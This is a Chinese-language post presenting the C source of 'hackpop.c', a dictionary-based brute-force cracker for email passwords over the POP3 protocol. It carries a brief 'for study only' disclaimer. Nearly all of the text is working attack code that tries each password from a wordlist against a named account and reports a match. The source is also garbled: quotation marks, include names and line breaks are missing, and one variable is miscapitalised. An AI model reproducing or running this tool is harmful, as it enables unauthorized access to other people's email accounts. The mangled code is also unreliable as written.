用C写邮箱密码暴力破解器

 说明：
1，本程序仅供学习参考使用。严禁使用本程序进行盗取他人密码的活动。
2，-i 选项不好使（只能使用server name，如：pop3.hotmail.com）。
3，本程序仅对某些pop3服务器有效。

/*_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/hackpop.c : E-mail password cracker by POP ProtocolCopyright (C) 2003 by syuui. All rights reserved.Redhat 9.0, gcc 3.2.2 compiling passed.Usage : hackpop <POP3 name | -i > <-u > [-d ]_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/*/#include#include#include#include#include#include#include#include#include#define BUFMAX 255#define PORT_NO 110#define SER_IP 1#define USR_NAME 2#define DIC_FNAME 4#define GET_SER_IP(x)\(((x)&(SER_IP))==(SER_IP) ?1 : 0 )#define GET_USR_NAME(x)\(((x)&(USR_NAME))==(USR_NAME) ?1 :0 )#define GET_DIC_FNAME(x)\(((x)&(DIC_FNAME))==(DIC_FNAME) ?1 :0 )static char rmsg[BUFMAX],smsg[BUFMAX];static int sofd;static struct sockaddr_in sv_addr;static struct hostent *shost;int flag;char ser_name[64],ser_ip[16],user_name[32],dic_fname[64],passwd[32];int crack( char *username, char *passwd );int main( int argc, char *argv[] ){FILE *fp;int argp, fnd_flag=0;// definations for client_pro part;if( argc<3 ){fprintf( stderr,Usage: %s <POP3 name | -i > (-u > [-d ]\n,argv[0] );exit(1);}flag = 0;for( argp=1; argp<ARGC; argp++ ){/* get switch */if( argv[argp][0]=='-' ){switch( argv[argp][1] ){case 'i':if( ++argp>=argc ){fprintf( stderr, You didn't set the POP3 IP Address with flag -i.\n );exit(1);}strcpy( ser_ip, argv[argp] );flag |= SER_IP;break;case 'u':if( ++argp>=argc ){fprintf( stderr, You didn't set the user on the POP3 Server with flag -u.\n );exit(1);}strcpy( user_name, argv[argp] );flag |= USR_NAME;break;case 'd':if( ++argp>=argc ){fprintf( stderr, You didn't set the dictionary file name with flag -d.\n );exit(1);}strcpy( dic_fname, argv[argp] );flag |= DIC_FNAME;break;default :fprintf( stderr, Unknown flag %s\n, argv[argp] );exit(1);break;}}else{strcpy( ser_name, argv[argp] );}}printf( Flag is %d\n, flag );if( GET_SER_IP(flag) )printf( telnet to server, IP: %s\n, ser_ip );elseprintf( telnet to server, name: %s\n, ser_name );if( GET_USR_NAME(flag) )printf( User : %s , user_name );elseprintf( No User. );if( GET_DIC_FNAME(flag) )printf( Use Dictionary File %s\n, dic_fname );elseprintf( Didn't set dictionary file .\n );// crack( user_name, dic_fname );fp= fopen( dic_fname, rt );if( fp== NULL ){fprintf( stderr, %s not found or not useable.\n, dic_fname );exit(1);}while( fscanf( fp, %s, passwd )==1 ){if( crack( user_name, passwd ) ){printf( Correct password !!! : %s\n, passwd );fnd_flag= -1;break;;}}fclose( fp );if( shutdown( sofd, 2 ) < 0 ){fprintf( stderr, Shutdown );close( sofd );exit(1);}close( sofd );fclose( fp );if( fnd_flag ) printf( Congratulations, you found a correct password.\n );else printf( No correct password found.\n );return 0 ;}int crack( char *username, char *passwd ){int cc, nbyte;/* Make socket */sofd = socket( PF_INET, SOCK_STREAM, 0 );if( sofd<0 ){fprintf( stderr, Socket make error.\n );exit(1);}// get server ip by nameif( GET_SER_IP(flag) ){close( sofd );exit(1);}else{shost = gethostbyname( ser_name );if( shost==NULL ){fprintf( stderr, gethostbyname error.\n );exit(1);}}bzero( (char *)&sv_addr, sizeof(sv_addr) );sv_addr.sin_family = PF_INET;sv_addr.sin_port = htons( PORT_NO );memcpy( (char *)&sv_addr.sin_addr, (char *)shost->h_addr, shost->h_length );// Connect requestif( connect( sofd, &sv_addr, sizeof(sv_addr)) < 0 ){fprintf( stderr, connect error\n );close( sofd );exit(1);}cc=recv( sofd, rmsg, BUFMAX, 0 );if( cc<0 ){fprintf( stderr, No hello message.\n );exit(1);}printf( -----------------------------------------------------------------------\n );printf( %s, rmsg );// make user commandmemset( smsg, (char)NULL, (size_t)BUFMAX );strcpy( smsg, user );strcat( smsg, username );printf( %s\n, smsg );// send user commandnbyte = strlen( smsg );if( send( sofd, smsg, nbyte, 0 ) <0 ){fprintf( stderr, send username failed.\n );exit(1);}// receive answer messagememset( rmsg, (char)NULL, (size_t)BUFMAX );cc = recv( sofd, rmsg, BUFMAX, 0 );if( cc<0 ){fprintf( stderr, No answer message.\n );exit(1);}printf( %s, rmsg );memset( rmsg, (char)NULL, (size_t)BUFMAX );// make pass messagememset( smsg, (char)NULL, (size_t)BUFMAX );strcpy( smsg, pass );strcat( smsg, passwd );nbyte = strlen( smsg );// send passwordif( send( sofd, smsg, nbyte, 0 ) < 0 ){fprintf( stderr, Password send failed.\n );exit(1);}elseprintf( %s\n, smsg );// get reply cc = recv( sofd, rmsg, BUFMAX, 0 );if( cc<0 ){fprintf( stderr, Error.\n );exit(1);}printf( %s, rmsg ); if( rmsg[0] == '+' ){return -1;}else{return 0;}}